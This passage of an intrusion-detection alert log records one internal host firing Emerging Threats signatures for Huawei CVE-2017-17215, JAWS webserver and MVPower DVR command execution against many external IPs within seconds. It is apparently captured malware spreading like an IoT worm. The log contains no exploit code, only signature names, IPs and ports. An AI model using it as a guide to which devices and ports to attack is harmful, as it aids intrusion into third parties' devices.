Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 200.227.24.116

Timestamp:	06/10/24-15:37:59.862278
SID:	2030092
Source Port:	43590
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 118.208.232.79

Timestamp:	06/10/24-15:38:02.096206
SID:	2030092
Source Port:	35516
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 61.33.199.230

Timestamp:	06/10/24-15:38:02.151592
SID:	2030092
Source Port:	42566
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.3.211.244

Timestamp:	06/10/24-15:38:02.843717
SID:	2829579
Source Port:	50194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 90.50.216.33

Timestamp:	06/10/24-15:38:02.116834
SID:	2030092
Source Port:	37242
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.15.80.136

Timestamp:	06/10/24-15:38:02.878023
SID:	2835222
Source Port:	59264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.0.208.206

Timestamp:	06/10/24-15:38:02.637710
SID:	2829579
Source Port:	50306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 189.244.26.215

Timestamp:	06/10/24-15:37:59.824955
SID:	2030092
Source Port:	48068
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.130.180.46

Timestamp:	06/10/24-15:38:00.021324
SID:	2835222
Source Port:	51562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.224.191.228

Timestamp:	06/10/24-15:38:02.674620
SID:	2835222
Source Port:	54890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.250.0.84

Timestamp:	06/10/24-15:38:00.208966
SID:	2829579
Source Port:	42074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.36.79.49

Timestamp:	06/10/24-15:38:02.869779
SID:	2835222
Source Port:	58204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 103.129.186.135

Timestamp:	06/10/24-15:38:02.255540
SID:	2030092
Source Port:	36482
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.251.58.239

Timestamp:	06/10/24-15:38:00.199727
SID:	2829579
Source Port:	35058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.139.95.100

Timestamp:	06/10/24-15:38:00.039932
SID:	2829579
Source Port:	38456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 53.171.149.247

Timestamp:	06/10/24-15:38:02.229242
SID:	2030092
Source Port:	56118
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.154.82.234

Timestamp:	06/10/24-15:38:00.274014
SID:	2835222
Source Port:	59706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.64.121.194

Timestamp:	06/10/24-15:37:59.980839
SID:	2835222
Source Port:	35420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.156.74.74

Timestamp:	06/10/24-15:38:00.002985
SID:	2829579
Source Port:	34412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 35.202.251.10

Timestamp:	06/10/24-15:38:02.254862
SID:	2030092
Source Port:	37108
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.31.27.232

Timestamp:	06/10/24-15:37:59.945412
SID:	2829579
Source Port:	53768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.140.104.46

Timestamp:	06/10/24-15:38:02.691059
SID:	2835222
Source Port:	53244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.36.1.67

Timestamp:	06/10/24-15:38:02.730340
SID:	2835222
Source Port:	34008
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.38.164.93

Timestamp:	06/10/24-15:37:59.974792
SID:	2829579
Source Port:	44740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.178.84.39

Timestamp:	06/10/24-15:38:02.660067
SID:	2829579
Source Port:	60882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.216.173.116

Timestamp:	06/10/24-15:37:59.949732
SID:	2829579
Source Port:	59100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.9.80.183

Timestamp:	06/10/24-15:38:00.183026
SID:	2829579
Source Port:	53528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.231.249.66

Timestamp:	06/10/24-15:38:02.695812
SID:	2835222
Source Port:	42650
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.142.125.129

Timestamp:	06/10/24-15:38:02.706858
SID:	2835222
Source Port:	54022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.194.180.37

Timestamp:	06/10/24-15:38:00.262299
SID:	2829579
Source Port:	47796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.185.155.40

Timestamp:	06/10/24-15:38:02.502931
SID:	2835222
Source Port:	46240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.123.247.90

Timestamp:	06/10/24-15:38:00.175015
SID:	2835222
Source Port:	56568
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.140.21.238

Timestamp:	06/10/24-15:38:00.168829
SID:	2835222
Source Port:	60102
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.119.93.57

Timestamp:	06/10/24-15:37:59.952158
SID:	2835222
Source Port:	58850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.179.233.113

Timestamp:	06/10/24-15:38:00.179072
SID:	2835222
Source Port:	50148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 27.226.253.249

Timestamp:	06/10/24-15:38:02.245859
SID:	2030092
Source Port:	56832
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.179.78.181

Timestamp:	06/10/24-15:38:00.037044
SID:	2835222
Source Port:	33786
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.174.49.82

Timestamp:	06/10/24-15:38:02.788817
SID:	2835222
Source Port:	56284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.249.70.243

Timestamp:	06/10/24-15:37:59.930930
SID:	2835222
Source Port:	32834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.128.86.63

Timestamp:	06/10/24-15:38:00.273128
SID:	2829579
Source Port:	42026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.94.92.161

Timestamp:	06/10/24-15:38:02.840962
SID:	2835222
Source Port:	38198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 181.110.113.163

Timestamp:	06/10/24-15:38:02.168603
SID:	2030092
Source Port:	49010
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.46.18.42

Timestamp:	06/10/24-15:38:02.669182
SID:	2835222
Source Port:	36132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.167.195.153

Timestamp:	06/10/24-15:38:02.641973
SID:	2829579
Source Port:	57774
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.164.51.0

Timestamp:	06/10/24-15:38:02.685061
SID:	2829579
Source Port:	51404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.12.156.197

Timestamp:	06/10/24-15:37:59.955351
SID:	2835222
Source Port:	36294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.201.215.148

Timestamp:	06/10/24-15:38:02.853487
SID:	2829579
Source Port:	37098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.89.132.28

Timestamp:	06/10/24-15:37:59.990322
SID:	2835222
Source Port:	37196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.104.41.78

Timestamp:	06/10/24-15:38:02.802976
SID:	2835222
Source Port:	45606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 120.43.7.228

Timestamp:	06/10/24-15:38:02.153497
SID:	2030092
Source Port:	42924
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.193.153.44

Timestamp:	06/10/24-15:38:02.786162
SID:	2829579
Source Port:	52216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 176.236.149.84

Timestamp:	06/10/24-15:38:02.300493
SID:	2030092
Source Port:	54578
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.149.108.206

Timestamp:	06/10/24-15:38:02.654413
SID:	2829579
Source Port:	54110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 39.251.150.235

Timestamp:	06/10/24-15:37:59.838365
SID:	2025883
Source Port:	34216
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.98.178.183

Timestamp:	06/10/24-15:38:00.024876
SID:	2835222
Source Port:	49654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.11.239.20

Timestamp:	06/10/24-15:38:00.238848
SID:	2835222
Source Port:	56428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 213.195.115.2

Timestamp:	06/10/24-15:38:02.210410
SID:	2030092
Source Port:	60628
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.160.21.128

Timestamp:	06/10/24-15:38:00.177056
SID:	2835222
Source Port:	39800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 194.55.24.22

Timestamp:	06/10/24-15:37:59.760581
SID:	2025883
Source Port:	35872
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 46.11.146.222

Timestamp:	06/10/24-15:37:59.813573
SID:	2025883
Source Port:	55620
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.36.86.237

Timestamp:	06/10/24-15:38:00.231962
SID:	2829579
Source Port:	49858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.114.253.89

Timestamp:	06/10/24-15:38:02.807666
SID:	2829579
Source Port:	51654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 201.158.211.234

Timestamp:	06/10/24-15:38:02.165801
SID:	2030092
Source Port:	50600
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.218.218.29

Timestamp:	06/10/24-15:38:02.763209
SID:	2835222
Source Port:	43930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.57.43.253

Timestamp:	06/10/24-15:38:02.715141
SID:	2829579
Source Port:	46712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 205.225.173.196

Timestamp:	06/10/24-15:38:02.093773
SID:	2025883
Source Port:	48928
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 104.230.30.200

Timestamp:	06/10/24-15:38:02.138778
SID:	2030092
Source Port:	39426
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 37.115.220.96

Timestamp:	06/10/24-15:38:02.142395
SID:	2030092
Source Port:	43574
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 111.31.234.213

Timestamp:	06/10/24-15:37:59.818135
SID:	2030092
Source Port:	40194
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 147.24.1.119

Timestamp:	06/10/24-15:38:02.218757
SID:	2030092
Source Port:	47496
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 124.198.230.56

Timestamp:	06/10/24-15:37:59.869779
SID:	2030092
Source Port:	56778
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.213.44.111

Timestamp:	06/10/24-15:38:02.905259
SID:	2835222
Source Port:	39822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.203.151.228

Timestamp:	06/10/24-15:38:00.217260
SID:	2835222
Source Port:	41384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.126.47.34

Timestamp:	06/10/24-15:38:00.213146
SID:	2829579
Source Port:	44874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.72.64.165

Timestamp:	06/10/24-15:38:02.830775
SID:	2835222
Source Port:	37174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 150.107.191.158

Timestamp:	06/10/24-15:38:02.314721
SID:	2030092
Source Port:	37140
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.179.65.119

Timestamp:	06/10/24-15:38:02.511176
SID:	2835222
Source Port:	56274
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.63.12.46

Timestamp:	06/10/24-15:38:00.268899
SID:	2829579
Source Port:	36416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.253.166.204

Timestamp:	06/10/24-15:38:02.639864
SID:	2835222
Source Port:	51214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.1.16.245

Timestamp:	06/10/24-15:37:59.923381
SID:	2835222
Source Port:	60882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.11.121.199

Timestamp:	06/10/24-15:37:59.938715
SID:	2835222
Source Port:	45636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 86.184.181.185

Timestamp:	06/10/24-15:38:02.205083
SID:	2030092
Source Port:	42612
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 148.107.14.82

Timestamp:	06/10/24-15:38:02.186823
SID:	2030092
Source Port:	58402
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.226.178.21

Timestamp:	06/10/24-15:38:00.186102
SID:	2835222
Source Port:	53280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.161.103.248

Timestamp:	06/10/24-15:38:00.243948
SID:	2829579
Source Port:	38516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.92.239.151

Timestamp:	06/10/24-15:38:02.652273
SID:	2829579
Source Port:	35332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.49.85.159

Timestamp:	06/10/24-15:38:02.936119
SID:	2829579
Source Port:	47328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.243.126.82

Timestamp:	06/10/24-15:38:02.702109
SID:	2829579
Source Port:	44722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.94.187.63

Timestamp:	06/10/24-15:38:00.031359
SID:	2829579
Source Port:	52142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.56.205.250

Timestamp:	06/10/24-15:37:59.947535
SID:	2835222
Source Port:	39894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.199.166.65

Timestamp:	06/10/24-15:38:00.029895
SID:	2835222
Source Port:	33426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.146.88.253

Timestamp:	06/10/24-15:38:02.509844
SID:	2829579
Source Port:	49560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.116.197.156

Timestamp:	06/10/24-15:38:00.018435
SID:	2835222
Source Port:	35452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.245.146.76

Timestamp:	06/10/24-15:38:02.504959
SID:	2835222
Source Port:	34860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.111.149.77

Timestamp:	06/10/24-15:38:02.738142
SID:	2835222
Source Port:	44866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.159.13.233

Timestamp:	06/10/24-15:38:00.196297
SID:	2829579
Source Port:	48942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.237.168.85

Timestamp:	06/10/24-15:38:02.644240
SID:	2835222
Source Port:	50450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 195.117.82.212

Timestamp:	06/10/24-15:38:02.174641
SID:	2030092
Source Port:	54940
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 31.59.193.253

Timestamp:	06/10/24-15:38:02.107738
SID:	2030092
Source Port:	38736
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.106.115.54

Timestamp:	06/10/24-15:38:02.839299
SID:	2835222
Source Port:	57412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.228.140.97

Timestamp:	06/10/24-15:38:00.219730
SID:	2829579
Source Port:	46594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.139.202.223

Timestamp:	06/10/24-15:38:02.831855
SID:	2835222
Source Port:	49014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.57.68.100

Timestamp:	06/10/24-15:38:00.005516
SID:	2829579
Source Port:	53026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.122.109.42

Timestamp:	06/10/24-15:38:00.184599
SID:	2829579
Source Port:	59998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 120.80.140.214

Timestamp:	06/10/24-15:38:02.108388
SID:	2030092
Source Port:	58042
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.156.129.89

Timestamp:	06/10/24-15:37:59.989479
SID:	2829579
Source Port:	58502
Destination Port:	37215
